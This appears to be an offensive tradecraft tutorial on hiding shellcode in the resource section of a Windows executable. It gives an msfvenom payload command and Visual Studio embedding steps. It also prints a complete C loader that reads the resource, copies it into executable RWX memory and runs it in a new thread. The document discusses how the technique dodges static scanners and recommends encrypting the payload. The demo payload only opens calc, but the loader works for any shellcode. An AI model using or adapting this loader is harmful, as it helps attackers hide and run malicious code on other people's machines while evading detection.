Shellcode-Placement-ResourceSection
What is it?
Shellcode embedded inside the PE’s .rsrc section — the resource section normally used to store icons, strings, version info, and other static assets. Instead of hardcoding shellcode bytes in .text or allocating memory at runtime, the payload is compiled into the binary as a named resource and retrieved at runtime using the Windows resource API. The shellcode lives inside a legitimate PE section, alongside real resources like the program icon.
How it works
Step 1: Generate the payload
1
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
Raw format outputs just the shellcode bytes with no PE wrapper — exactly what we need to embed as a resource.
Step 2: Add the payload as a resource in Visual Studio
Inside Visual Studio → Solution Explorer → Resource Files → right-click → Resource.
Click Import and select calc.bin.
When prompted for the resource type, use a custom name — in this case N0xshell. This becomes the type string used in FindResourceW.
Visual Studio shows the RCDATA window confirming the shellcode was imported correctly — visible as hex bytes.
Step 3: Verify the generated resource files
Visual Studio auto-generates two files. resource.h defines the resource ID macro — the value (101) and name can be changed freely.
Shellcode-Placement-ResourceSection.rc maps the ID to the file. Verify the custom type name N0xshell is present — it must match the string passed to FindResourceW.
Step 4: Retrieve and execute the shellcode at runtime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
FindResourceW(NULL, MAKEINTRESOURCEW(IDR_N0XSHELL1), L"N0xshell")
→ Locates the resource by ID (101) and type ("N0xshell") in the current module
→ Returns HRSRC — a handle to the resource descriptor, not the data itself
LoadResource(NULL, hResource)
→ Maps the resource into the process address space
→ Returns HGLOBAL — a handle to the loaded resource block
LockResource(hGlobal)
→ Returns a direct pointer to the raw resource bytes
→ Points into .rsrc — PAGE_READONLY, not executable
SizeofResource(NULL, hResource)
→ Returns the resource size in bytes
→ Needed for VirtualAlloc and memcpy
VirtualAlloc(PAGE_EXECUTE_READWRITE)
→ Allocates a separate RWX region — .rsrc is not executable
→ We must copy the shellcode out before we can run it
memcpy(pAddr, pShellcodeAddr, sShellcodeSize)
→ Copies shellcode from the read-only .rsrc mapping into the RWX buffer
CreateThread(pAddr)
→ Spawns a new thread starting at the shellcode entry point
→ WaitForSingleObject blocks until shellcode finishes
Step 5: Shellcode executes
PE layout after compilation:
1
2
3
4
5
6
7
8
9
10
11
┌──────────────────────────────────────┐
│ .text compiled code │
│ .rdata read-only data │
│ .data global variables │
│ .rsrc ← shellcode lives here │ PAGE_READONLY
│ └─ N0xshell / 101 / calc.bin bytes │
│ .reloc relocations │
└──────────────────────────────────────┘
At runtime:
.rsrc → LockResource → memcpy → RWX allocation → CreateThread → execute
Compared to .text placement:
1
2
3
4
5
6
.text placement: .rsrc placement:
shellcode in code shellcode in resource section
PAGE_EXECUTE_READ PAGE_READONLY (expected for resources)
no VirtualAlloc ✓ VirtualAlloc needed (still flagged)
no memcpy ✓ memcpy needed
less common pattern looks like a legitimate resource ✓
The resource section approach is often paired with encryption — shellcode stored encrypted in .rsrc, decrypted at runtime into a fresh allocation. Static scanners find only ciphertext.
Shellcode Visible (In clear text) in .rsrc section
Shellcode-Placement-ResourceSection.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
int main() {
HRSRC hResource = NULL;
HGLOBAL hGlobal = NULL;
PVOID pShellcodeAddr = NULL;
SIZE_T sShellcodeSize = 0; // In bytes
PVOID pAddr = NULL;
HANDLE hThread = NULL;
// Locate the shellcode resource
hResource = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_N0XSHELL1), L"N0xshell");
if (!hResource) {
printf("[!] FindResourceW Failed: %d \n", GetLastError());
return -1;
}
// Load the resource into memory
hGlobal = LoadResource(NULL, hResource);
if (!hGlobal) {
printf("[!] LoadResource Failed: %d \n", GetLastError());
return -1;
}
// Get a pointer to the shellcode bytes
pShellcodeAddr = LockResource(hGlobal);
if (!pShellcodeAddr) {
printf("[!] LockResource Failed: %d \n", GetLastError());
return -1;
}
// Get the size of the shellcode
sShellcodeSize = SizeofResource(NULL, hResource);
if (!sShellcodeSize) {
printf("[!] SizeofResource Failed: %d \n", GetLastError());
return -1;
}
// Allocate RWX memory for the shellcode
pAddr = VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pAddr) {
printf("[!] VirtualAlloc Failed: %d \n", GetLastError());
return -1;
}
// Copy shellcode into the executable buffer
memcpy(pAddr, pShellcodeAddr, sShellcodeSize);
printf("[+] Shellcode Address: 0x%p \n", pAddr);
printf("[+] Shellcode Size: %lu bytes \n", sShellcodeSize);
// Execute the shellcode in a new thread
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, 0, NULL);
if (!hThread) {
printf("[!] CreateThread Failed: %d \n", GetLastError());
return -1;
}
// Wait for the shellcode thread to finish
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
printf("[+] Press <Enter> To Exit! \n");
getchar();
return 0;
}
resource.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Microsoft Visual C++ generated include file.
// Used by Shellcode-Placement-ResourceSection.rc
//
#define IDR_N0XSHELL1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif








